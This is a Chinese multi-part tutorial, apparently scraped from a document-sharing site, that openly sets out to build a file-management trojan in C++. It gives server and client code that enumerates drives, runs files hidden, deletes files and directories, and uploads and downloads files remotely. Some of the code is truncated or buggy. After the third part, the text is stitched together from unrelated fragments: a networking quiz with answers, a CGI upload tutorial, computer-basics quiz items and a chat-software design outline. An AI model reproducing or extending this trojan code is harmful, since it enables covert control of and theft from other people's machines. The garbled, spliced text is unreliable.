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C++实现文件传输

c++实现文件传输之一:框架结构和界面实现

在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”

其实现效果如图所示。为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。

实现:枚举磁盘,枚举目录,获取文件信息

上传文件,下载文件,执行文件,创建目录,删除目录等

传输控制结构

要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读

首先对要使用的命令进行预定义其各个命令定义如下

#define GetDriver 0x01 //磁盘信息

#define GetDirInfo 0x02 //目录信息

#define ExecFile 0x03 //执行文件

#define GetFile 0x04 //下载文件

#define PutFile 0x05 //上传文件

#define DelFile 0x06 //删除文件

#define DelDir 0x07 //删除目录

#define CreateDir 0x08 //创建目录

#define FileInfo 0x09 //文件信息

#define GetScreen 0x10 //查看屏幕

在程序的网络通信中主要有操作命令 ,命令对像,和具体数据三部分,对于命令的传输定义如下结构

typedef struct

{

int ID; //操作命令

BYTE lparam[BUF_LEN*2]; //命令对像

}COMMAND;

因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构

typedef struct

{

char FileName[MAX_PATH]; //文件名称

int FileLen; //文件长度

char Time[50]; //时间信息

BOOL IsDir; //为目录否

BOOL Error; //错误信息

HICON hIcon; //图标句柄

}FILEINFO;

服务端结构

服务端还是比较简单的其整体思路如下

1.服务端循环接受连接,并把连接交给线程处理

2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数

3.函数执行指定功能,并返回执行结果

对整体结构的描述,我们用伪代码表述如下

main()

{ /*初示化设置......*/

while(true)

{

if(client=accept(server,(sockaddr *)&clientaddr,&len))//循环接受连接{

CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理

}

}

/*清理释放资源......*/

WSACleanup();

}

服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下

DWORD WINAPI SLisen(LPVOID lparam)

{

SOCKET client=(SOCKET)lparam;

COMMAND command;

while(1)

{

if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令数据

{

cout<<"The Clinet Socket is Closed/n";

break;

}else

{

switch(command.ID)//判断命令ID

{

case GetDriver://将命令对像和SOCKET句柄传递给处理函数

GetDriverProc (command,client);

break;

case DelFile:

DelFileProc (command,client);

break;

/*其它命令......*/

}

}

}

}

线程式的功能是接受客户端的"命令数据",并跟跟据命令ID 将命令对像传递给处理函数,由函数完成指定的功能

以删除文件命令为例其函数格式如下

DWORD DelFileProc (COMMAND command,SOCKET client)

{

if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径

{

send(client,"删除失败...");

}

else

{

send(client,"删除成功...");

}

}

很容易看出,处理函数接受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....

客户端结构

客户端结构的实现思路如下

1.跟服务端建立连接

2.发送用户命令

3.启动一个线程,用于接受服务端的返回信息

对整体结构的描述,我们用伪代码表述如下

void CMyDlg::OnConnect()

{

if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....

{

return ;

}

CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于接受SERVER返回信息

}

对于用户发送的命令我们仍以删除文件为例说明其代码如下

void CMyDlg::OnMenuDelFile()

{

HTREEITEM CurrentNode = m_tree.GetSelectedItem(); //取得选择的节点CString FullPath =GetFullPath(CurrentNode); //取得节点全目录COMMAND command;

command.ID=DelFile; //设置命令为删除文件 //删除文件

command.lparam=FullPath.LockBuffer()); //将路径加入命令对像

send(server,command);

}

用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码

到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.

界面实现

程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree 和列表控件m_list分别

用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性

DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);

dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);

对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON

VC的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也可以让它漂亮一些

比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?其设置方法为:

1.在对话框属性中设置Styles 的Border属性为Thin

2.选重More Styles "可见" 属性

3.选重Extended Styles的"静态边"属性

这样再运行一下程序是不是感觉清新不少?

到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现

c++实现文件传输之二

在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括

1.获取磁盘信息

2.获取目录信息

3.获取文件信息

4.运行指定文件

5.删除指定文件

6.删除指定目录

7.创建指定目录

8.上传下载文件

9.获取远程文件图标

获取磁盘信息

磁盘信息可以用API GetDriveType来实现,它以路径名作为参数(如C:/)返回磁盘类型,其实例代码如下

DWORD GetDriverProc(COMMAND command,SOCKET client)

{

for(char i='A';i<='Z';i++)

{

char x[20]={i,':'};

UINT Type=GetDriveType(x);

if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) {

/*返回处理结果...*/

}

}

return 0;

}

GetDriveType可能返回的结果如下

#define DRIVE_UNKNOWN 0 // 无效路径名

#define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标

#define DRIVE_REMOVABLE 2 // 可移动驱动器

#define DRIVE_FIXED 3 // 固定的驱动器

#define DRIVE_REMOTE 4 // 网络驱动器

#define DRIVE_CDROM 5 // CD-ROM

#define DRIVE_RAMDISK 6 // 随机存取(RAM)磁盘

在上面的实例代码中我们只取,硬盘,光驱和移动磁盘

获取目录信息

这里只要枚举用户指定的目录就可以了,其实例代码如下:

DWORD GetDirInfoProc(COMMAND command,SOCKET client)

{

/*command为要枚举的路径如(C:/)client为返回结果的SOCKET句柄*/

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

strcat((char*)command.lparam,"*.*");//枚举所有文件

CFileFind file;

BOOL bContinue = file.FindFile((char*)command.lparam);

while(bContinue)

{

memset((char*)&fi,0,sizeof(fi));

bContinue = file.FindNextFile();

if(file.IsDirectory()) //为目录

{

fi.IsDir=true;

}

strcpy(fi.FileName,file.GetFileName().LockBuffer()); //保存文件名称

if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR)

{

cout << "Send Dir is Error/n";

}

}

return 0;

}

获取文件信息

以下实例代码用来获取文件的名称,路径,时间,属性等信息

DWORD FileInfoProc (COMMAND command,SOCKET client)

{

/*command为要查看的文件如(C:/TEST.EXE)client为返回结果的SOCKET句柄*/ FILEINFO fi;

HANDLE hFile;

WIN32_FIND_DATA WFD;

memset((char*)&WFD,0,sizeof(WFD));

if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) //查看文件属性

{

fi.Error=true;

return 0;

}

//得到文件的相关信息

SHGetFileInfo(WFD.cFileName,

FILE_ATTRIBUTE_NORMAL,

&shfi, sizeof(shfi),

SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );

strcpy(fi.FileName,(char*)command.lparam); //文件路径

FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; //文件长度

fi.FileLen=FileLen;

//转化格林时间到本地时间

FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime);

//文件修改时间

sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",

systime.wYear,systime.wMonth,systime.wDay,systime.wHour,

systime.wMinute,systime.wSecond);

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) {

/*隐藏文件...*/

}else

if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) {

/*只读文件...*/

}

send(client,(char*)&fi,sizeof(fi),0);

FindClose(hFile);

return 0;

}

运行指定文件

运行文件有以下几种方法 1.WinExec 2.ShellExecute 3.CreateProcess

这里使用的是ShellExecute其实例代码如下

DWORD ExecFileProc (COMMAND command,SOCKET client)

{

/*command为要运行的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=ExecFile;

if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32)

{

strcpy((char*)cmd.lparam,"文件执行失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件执行成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

API函数ShellExecute原形为:

HINSTANCE ShellExecute(

HWND hwnd, //窗口句柄

LPCTSTR lpOperation, //操作类型

LPCTSTR lpFile, //文件指针

LPCTSTR lpParameters, //文件参数

LPCTSTR lpDirectory, //缺省目录

INT nShowCmd //显示方式

);

这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开

或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果

要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难

只要指定lpParameters为执行参数就可了

删除指定文件

DWORD DelFileProc (COMMAND command,SOCKET client)

{

/*command为要删除的文件路径如(C:/TEST.EXE)client为返回结果的SOCKET 句柄*/

COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=DelFile;

SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

if(DeleteFile((char*)command.lparam)==0)

{

strcpy((char*)cmd.lparam,"文件删除失败!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"文件删除成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

需要注意的是在 DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败

删除目录

可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空

的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码

BOOL DeleteDirectory(char *DirName)

{

CFileFind tempFind;

char tempFileFind[200];

sprintf(tempFileFind,"%s*.*",DirName);

BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);

while(IsFinded)

{

IsFinded=(BOOL)tempFind.FindNextFile();

if(!tempFind.IsDots())

{

char foundFileName[200];

strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));

if(tempFind.IsDirectory())

{

char tempDir[200];

sprintf(tempDir,"%s//%s",DirName,foundFileName);

DeleteDirectory(tempDir);

}

else

{

char tempFileName[200];

sprintf(tempFileName,"%s//%s",DirName,foundFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); //去掉文件的系统和隐藏属性

DeleteFile(tempFileName);

cout <<"now delete "<

}

}

}

tempFind.Close();

if(!RemoveDirectory(DirName))

{

return FALSE;

return TRUE;

}

这个函数的代码可以参照上面枚举目录的代码来看,它的原理就是枚举目录下的所有文件并删除,最后删除

指定目录,成功返回TRUE失败则返回FALSE,这段代码可以直使用,但要小心使用,因为我在传参数时的失误

结果把整个D盘差点清空了..........

创建目录

实例代码如下:

DWORD CreateDirProc (COMMAND command,SOCKET client)

{

/*command为要创建目录的路径如(C:/)client为返回结果的SOCKET句柄*/ COMMAND cmd;

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=CreateDir;

if(::CreateDirectory((char*)command.lparam,NULL))

{

strcpy((char*)cmd.lparam,"创建目录成功!");

send(client,(char*)&cmd,sizeof(cmd),0);

}

else

{

strcpy((char*)cmd.lparam,"创建目录失败!可能有重名文件或文件夹");

send(client,(char*)&cmd,sizeof(cmd),0);

}

return 0;

}

在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:/DIR1/DIR2目录,要求

DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件

因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是目录的属性与文件属性不同

(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.

上传下载文件

上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法

小文件的传输相对比较简单可按以下方法进行

1.首先发送文件长度和名称

2.跟据文件长度建立缓冲区

3.读取整个文件到缓冲区

4.发送缓冲区里的内容

其实现代码如下:

CFile file;

FILEINFO fileinfo;

if(file.Open(path,CFile::modeRead|CFile::typeBinary))

{

fileinfo.FileLen=file.GetLength(); //文件长度

strcpy(fileinfo.FileName,file.GetFileName()); //文件名称

send(client,(char*)&fileinfo,sizeof(fileinfo),0); //发送长度和名称

char *date=new char[fileinfo.FileLen]; //分配和文件长度相同的缓冲区int nLeft=fileinfo.FileLen;

int idx=0;

file.Read(date,fileinfo.FileLen); //读整个文件到缓冲区

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0); //发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}

跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的

大文件传输方法

用上面的方法传输小文件还可以,但是大文件呢?比如一个500M的电影.上面的方法就会力不从心了因为

按思路要创建一个跟文件大小相同的缓冲区,显然这是不太现实的,我们就得采用另种方法了,在这里我们使用

分块文件传输,所谓分块是指把大文件分成若干小文件,然后传输,比如设定每块大小为64KB其思路如下

1.取得文件长度和名称

2.跟据长度/64KB计算文件块数

3.分配64KB缓冲区

4.读文件到缓冲区

5.发送缓冲的数据

6.重复4,5两步直到发完所有数据

其实现代码如下:

#define CHUNK_SIZE (64*1024) //分为64K块传输

DWORD GetFileProc (COMMAND command,SOCKET client)

{

/*command为要下载文件的路径如(C:/TEST.EXE)client为发送文件的SOCKET 句柄*/

COMMAND cmd;

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

memset((char*)&cmd,0,sizeof(cmd));

cmd.ID=GetFile;

CFile file;

int nChunkCount=0; //文件块数

if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary) )//打开文件

{

int FileLen=file.GetLength(); //取文件长度

fi.FileLen=file.GetLength();

strcpy((char*)fi.FileName,file.GetFileName()); //取文件名称

memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));

send(client,(char*)&cmd,sizeof(cmd),0); //发送文件名称和长度

nChunkCount=FileLen/CHUNK_SIZE; //文件块数

if(FileLen%nChunkCount!=0)

nChunkCount++;

char *date=new char[CHUNK_SIZE]; //创建数据缓冲区

for(int i=0;i

{

int nLeft;

if(i+1==nChunkCount) //最后一块

nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1);

else

nLeft=CHUNK_SIZE;

int idx=0;

file.Read(date,CHUNK_SIZE); //读取文件

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);//发送文件

if(ret==SOCKET_ERROR)

{

break;

}

nLeft-=ret;

idx+=ret;

}

}

file.Close();

delete[] date;

}

return 0;

}

这样文件传输部分就完成了,止于客户端的实现于上面代码其本相同,只是由读文件变为写文件,详细请参考源代码

获取远程ICO文件图标

我们在文件列表框中需要显示文件的图标,但远程文件的ICO图标是无法直接得到的

猛若RADMIN 黑洞者也没有到(对于EXE文件只显示可执行程序图示),当然了也不见的决对没有......

我们可以通过如下变通方法得到:就是跟据文件的扩展名,从本地注册表中查找对应的程序图标

不过这也有它的缺点对于EXE文件它只能显示一个可执行文件的图示,而且只能显示注册过的图示比如,如果

本机装有WINRAR那么就可以识别.RAR的文件图示,否则就无法识别...

实现方法

CImageList m_ImageList;

m_ImageList.Create(32,32,ILC_COLOR32,10,30); //创建图示

m_list.SetImageList(&m_ImageList,LVSIL_NORMAL); //与列表控件相关连

SHFILEINFO info;

memset((char*)&info,0,sizeof(info));

SHGetFileInfo(fi->FileName,0,&info,sizeof(&info), SHGFI_ICON|SHGF I_USEFILEATTRIBUTES);//关键所在

int i = m_ImageList.Add(info.hIcon);

m_list.InsertItem(i,fi->FileName,i);

原来我试图在Server端通过上面的代码把info.hIcon句柄保存下来,然后放到Client,在单台电脑上很好使,但

Server在另一台电脑上时就玩完了,因为info.hIcon里保存的句柄是个索引而每台机器上的索引是不相同的所以

直接导致的结果就是:什么也显示不出来....

c++实现文件传输之三:断点续传与多线程传输转

继木马编程DIY的上两篇,现在我们开始讨论断点续传与多线程文件传输的实现.其实这两项功能是下载软件所

必不可少的功能了,现在我们把它加到自己的木马中来感受感受.提到多线程下载,首先向网络蚂蚁的作者

洪以容前辈致敬,正是由于网络蚂蚁而使得多线程下载被关注并流行起来.在这本篇文章中我们将简单的实现

支持断点续传和多线程传输的程序.为了更清晰的说明问题,我们将断点续传与多线程传输分别用两个程序来实现

多线程传输实现

实现原理

将源文件按长度为分为N块文件,然后开辟N个线程,每个线程传输一块,最后合并所有线线程文件.比如

一个文件500M我们按长度可以分5个线程传输.第一线程从0-100M,第二线程从100M-200M......最后合并5个线程文件.

实现流程

1.客户端向服务端请求文件信息(名称,长度)

2.客户端跟据文件长度开辟N个线程连接服务端

3.服务端开辟新的线程与客户端通信并传输文件

4.客户端将每线程数据保存到一个文件

5.合并所有线程文件

编码实现

大体说来就是按以上步骤进行,详细的实现和一些要点,我们跟据以上流程在编码中实现

结构定义

在通信过程中需要传递的信息包括文件名称,文件长度,文件偏移,操作指令等信息,为了方便操作我们定义如下结构

代码:

typedef struct

{

char Name[100]; //文件名称

int FileLen;

//文件长度

int CMD;

//操作指令

int seek;

//线程开始位置

SOCKET sockid;

}FILEINFO;

1.请求文件信息

客户端代码如下

代码:

FILEINFO fi;

memset((char*)&fi,0,sizeof(fi));

fi.CMD=1; //得到文件信息

if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR)

{

cout<<"Send Get FileInfo Error/n";

}

服务端代码如下

while(true)

{

SOCKET client;

if(client=accept(server,(sockaddr *)&clientaddr,&len))

{

FILEINFO RecvFileInfo;

memset((char*)&RecvFil eInfo,0,sizeof(RecvFileInfo));

if(recv(client,(char*) &RecvFileInfo,sizeof(RecvFileInfo),0)==SOCKET_ERROR)

{

cout<< "The Clinet Socket is Closed/n";

break;

}else

{

EnterC riticalSection(&CS); //进入临界区

memcpy ((char*)&TempFileInfo,(char*)&RecvFileInfo,sizeof(RecvFileInfo));

switch (TempFileInfo.CMD)

{

case 1:

GetInfoProc (client);

break;

case 2:

TempFileInfo.sockid=client;

CreateThread(NULL,NULL,GetFileProc,NULL, NULL,NULL);

break;

}

LeaveC riticalSection(&CS); //离开临界区

}

}

}

在这里服务端循环接受连接,并跟据TempFileInfo.CMD来判断客户端的请求类型,1为请求文件信息,2为下载文件

因为在下载文件的请求中,需要开辟新的线程,并传递文件偏移和文件大小等信息,所以需要对线程同步.这里使用临界区

其文件信息函数GetInfoProc代码如下

代码:

DWORD GetInfoProc(SOCKET client)

{

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinar y))

{

int FileLen=file.GetLength();

if(send(client,(char*)&FileLen,sizeof( FileLen),0)==SOCKET_ERROR)

{

cout<< "Send FileLen Error/n";

}else

{

cout<< "The Filelen is "<

}

}

return 0;

}

这里主要是向客户端传递文件长度,而客户端收到长度后则开辟线程进行连接传输文件

2.客户端跟据长度开辟线程

其实现代码如下

代码:

FILEINFO FI;

int FileLen=0;

if(recv(client,(char*)&FileLen,sizeof(FileLen),0)==SOC KET_ERROR)//接受文件长度

{

cout<<"Recv FileLen Error/n";

}else

{

cout<<"FileLen is "<

int COUNT_SIZE=FileLen/5; / /每线程传输大小

for(int i=0;i<5;i++)

//分5个线程传输

{

EnterCriticalSection(& CS); //进入临界区

memset((char*)&FI,0,si zeof(FI));

FI.CMD=2;

//请求下载文件

FI.seek=i*COUNT_SIZE;

//线程文件偏移

if(i+1==5)

//最后一线程长度为总长度减前4个线程长度

{

FI.Fil eLen=FileLen-COUNT_SIZE*i;

}else

{

FI.Fil eLen=COUNT_SIZE;

}

Thread=CreateThread(NU LL,NULL,GetFileThread,&i,NULL,NULL);

Sleep(500);

LeaveCriticalSection(& CS); //离开临界区

}

}

WaitForMultipleObjects(5,Thread,true,INFINITE);

//等所有线程结束

这里默认开辟5个线程传输,当然可以改为想要的线程数目,仍然用临界区来实现线程的同步问题

3.服务端开辟线程传输数据

在1.请求文件信息中以说明了服务端的结构,这里主要介绍线程函数的实现,其代码如下

代码:

DWORD WINAPI GetFileProc(LPVOID lparam)

{

EnterCriticalSection(&CS);

//进入临界区

int FileLen=TempFileInfo.FileLen;

int Seek=TempFileInfo.seek;

SOCKET client=TempFileInfo.sockid;

LeaveCriticalSection(&CS);

//离开临界区

CFile file;

if(file.Open(FileName,CFile::modeRead|CFile::typeBinar y))

{

file.Seek(Seek,CFile::begin);

//指针移至偏移位置

char *date=new char[FileLen];

int nLeft=FileLen;

int idx=0;

file.Read(date,FileLen);

while(nLeft>0)

{

int ret=send(client,&date[idx],nLeft,0);

if(ret==SOCKET_ERROR)

{

cout<< "Send Date Error /n";

break;

}

nLeft-=ret;

idx+=ret;

}

file.Close();

delete[] date;

}else

{

cout<<"open the file error/n";

}

closesocket(client);

return 0;

}

还是比较简单的,主要是获取线程的文件长度和偏移,并移动文件指针到偏移处,最后读取发送数据,而客户端

接受数据并写入文件.

4.客户端将线程数据保存到文件

GetFileThread的实现代码如下

代码:

DWORD WINAPI GetFileThread(LPVOID lparam)

{

char TempName[MAX_PATH];

模拟试题--工程--13

一、判断题 1. 虽然P2P文件共享没有集中的、第三方的服务器参与文件传输,但是P2P文件传输使用的是客户/服务器模式。(√) 2. 音频的时延抖动可通过在发送方为每个块规定一个序号或时间戳,在接收方延迟播放音频块来消除。(√) 3. 假定路由器A到路由器B的传输速率为R bit/s,需要传输的分组长度为L比特,则该链路的传播时延为L/R。(X) 4. 虽然UDP协议不能像TCP协议那样能够提供时延保证,但是几乎所有的实时通信都使用UDP协议。(X) 5. CDMA的一个主要优点是不必进行频率分配,并且不按时间划分频谱。(√) 6. 所有以太网交换机端口即支持10BASE-T标准,又支持100BASE-T标准。(F ) 7. 实时运输协议RTP为实时应用提供端到端的运输,但不提供任何服务质量的保障。(T ) 8. 如果存储视频直接从Web服务器流向媒体播放器,那么这个应用使用TCP作为底层的传输协议。(T ) 9. 所用使用RTP的应用必须使用端口87。( F ) 10. TCP和UDP分别拥有自己的端口号,二者互不干扰,可以共存于同一台主机。(T) 11 根据连续ARQ协议的原理,当传输信道质量很差因而误码率较大时,连续ARQ协议不一定优于停止等待协议。(T) 12. IP传输时,路由表中的每一条路由最主要的信息是:目的网络地址和下一跳地址。(T ) 13.实时流式协议RTSP本身并不传输数据,而仅仅是使媒体播放器能够控制多媒体流的传送。(T) 14. 无线个人区域网就是在个人工作地方把属于个人使用的电子设备用无线技术连接起来,整个网络的范围大约在100m左右。(F) 15. 通过找出到各个网络的最短距离来更新路由表的算法称为距离向量算法。(T) 16. Telnet、SNMP、FTP和HTTP都是在TCP之上构建的应用层协议。(X) 17. 802.11站在传输一个数据帧之前都要首先发送一个RTS帧并且收到一个对应的CTS帧。(X) 18. IPv6将IP地址长度从IPv4的36比特增加到了128比特,极大的扩展了地址空间。(X) 19. 路由器、网桥和集线器分别工作于网络层、数据链路层和物理层,但是其中只有集线器不能隔离冲突域。(√) 20. Outlook等常用的电子邮件软件使用SMTP协议进行邮件的收发。(X) 21.根据连续ARQ协议的原理,当传输信道质量很差因而误码率较大时,连续ARQ协议不一定优于停止等待协议。() 22. ATM既可以用于广域网,又可以用于局域网,这是因为它的工作原理与Ethernet基本上是相同的。(×) 23. 无线局域网内发送的数据帧需要接收方确认,而以太网不需要接收方发回确认帧。()

用c语言写cgi程序(3)---实现文件上传

敬告:其实当前的cgic版本已经有上传的功能了,可以看看自带的test文件 用C语言编写cgi程序的话,多半会用到CGIC。这是个非常流行的库,遇到文件上传之类的应用更是离不开它。官方页面及下载地址为:https://www.wendangku.net/doc/c319096466.html,/cgic/#obtain 不少网站都有文件上传的功能,本文展示如何用CGIC库编写文件上传的服务端程序,最后给出一段简单的HTML代码,供大家测试使用。 下载: upload.c [cpp:nogutter]view plaincopyprint? #include #include #include #include #include #include"cgic.h" #define BufferLen 1024 int cgiMain(void){ cgiFilePtr file; int targetFile; mode_t mode; char name[128]; char fileNameOnServer[64]; char contentType[1024]; char buffer[BufferLen]; char *tmpStr=NULL; int size; int got,t; cgiHeaderContentType("text/html"); //取得html页面中file元素的值,应该是文件在客户机上的路径名 if (cgiFormFileName("file", name, sizeof(name)) !=cgiFormSuccess) { fprintf(stderr,"could not retrieve filename/n"); goto FAIL; } cgiFormFileSize("file", &size); //取得文件类型,不过本例中并未使用

计算机七31-60答案

复制 移动 查询 浏览 高级程序设计语言 域名 文件传输协议 网址 FTP是一个标准协议,它是在计算机和网络之间交换文件的最简单的方法FTP可以实现即时的网上聊天 从服务器上下载文件也是一种非常普遍的使用方式 FTP通常用于将网页从创作者上传到服务器上供他人使用 http://192.163.113.23

ftp://192.168.113.23 https://www.wendangku.net/doc/c319096466.html, c:\windows 同一操作系统之间的文件传输 异种机上同一操作系统间的文件传输 异种机和异种操作系统之间的文件传输同一机型上不同操作系统之间的文件传输 传送网上所有类型的文件 远程登录 收发电子邮件 浏览网页 Internet中一种匿名信的名称 在Internet上没有主机地址的FTP

允许用户免费登录并下载文件的FTP 用户之间能够进行传送文件的FTP 单选:第38题(2分) 在Internet上收发E-mail的协议不包括__C__。 SMTP POP3 ARP IMAP 单选:第39题(2分) 关于发送电子邮件,下列说法中正确的是__C__。 你必须先接入Internet,别人才可以给你发送电子邮件 你只有打开了自己的计算机,别人才可以给你发送电子邮件只要你有E-mail地址,别人就可以给你发送电子邮件 没有E-mail地址,也可以收发送电子邮件 单选:第40题(2分) 电子邮件从本质上来说就是_D___。 浏览 电报 传真 文件交换 单选:第41题(1分)

当你登录在某网站注册的邮箱,页面上的"发件箱"文件夹一般保存着的是_B__ _。 你已经抛弃的邮件 你已经撰写好,但是还没有成功发送的邮件 包含有不礼貌语句的邮件 包含有不合时宜想法的邮件 单选:第42题(1分) 网页上看到你所收到邮件的主题行的开始位置有"回复:"或"Re:"字样时,表示该邮件是_C___。 对方拒收的邮件 当前的邮件 对方回复的答复邮件 希望对方答复的邮件 单选:第43题(1分) 你想给某人通过E-mail发送某个小文件时,你必须__D__。 在主题上写含有小文件 把这个小文件"复制"一下,粘贴在邮件内容里 无法办到 使用粘贴附件功能,通过粘贴上传附件完成 单选:第44题(1分) OutlookExpress的主要功能是_C___。 创建电子邮件帐户

基于C-S模式的局域网络聊天软件系统的设计与实现

基于C-S模式的局域网络聊天软件系统的设计与实现 基于C/S模式的局域网络聊天软件系统的设计与实现 一、引言 随着科技的不断发展,互联网已经渗透到了我们工作和生活的方方面面。在日常生活中,人们经常需要与朋友、家人、同事等进行实时交流。为了满足人们对实时交流的需求,局域网络聊天软件应运而生。本文将详细介绍一种基于C/S模式的局域网络聊天软件系统的设计与实现。 二、系统需求分析 1. 功能需求 (1)用户登录注册:用户需要通过账号和密码登录,新用户需要进行注册。 (2)好友管理:用户可以添加、删除、查找和管理好友。(3)实时聊天:用户可以与好友进行实时的文字、语音、视频聊天。 (4)文件传输:用户可以发送和接收文件。 (5)群组聊天:用户可以创建和加入群组,与群组成员进行聊天。 (6)消息提醒:用户接收到新消息时会有提醒,确保没有新消息被忽略。 (7)安全性保障:采用加密传输和用户权限控制,确保数据的安全。 2. 性能需求 (1)系统响应快:用户发送消息后,系统应立即进行响应,确保实时聊天的效果。 (2)高并发能力:系统能够应对大量用户同时在线的情况,

确保系统的稳定性和流畅性。 (3)数据安全:用户的聊天数据需要进行加密保护,防止数据泄漏。 三、系统设计 1. 架构设计 本系统采用C/S(Client/Server)架构模式。客户端负责用户界面的展示和用户交互,服务器端负责处理客户端的请求和管理用户数据。 2. 客户端设计 客户端使用跨平台开发工具进行开发,采用模块化设计思想,实现如下模块: (1)用户登录注册模块:实现用户登录和注册的功能,将用户的登录信息发送给服务器端进行验证。 (2)好友管理模块:实现好友的添加、删除、查找和管理功能,将好友信息同步到服务器端。 (3)实时聊天模块:实现文字、语音、视频聊天功能,通过网络传输消息。 (4)文件传输模块:实现文件的发送和接收功能,保障文件的安全和完整性。 (5)群组聊天模块:实现群组的创建、加入和聊天功能,使用户能够与多人进行聊天。 3. 服务器端设计 服务器端使用高性能的服务器进行部署,实现如下模块:(1)用户验证模块:接收用户登录和注册请求,验证用户的账号和密码,返回验证结果。 (2)好友管理模块:接收好友的添加、删除、查找和管理请求,维护好友关系数据,将好友请求转发给相应用户。

pscp实现远程文件和文件夹传输

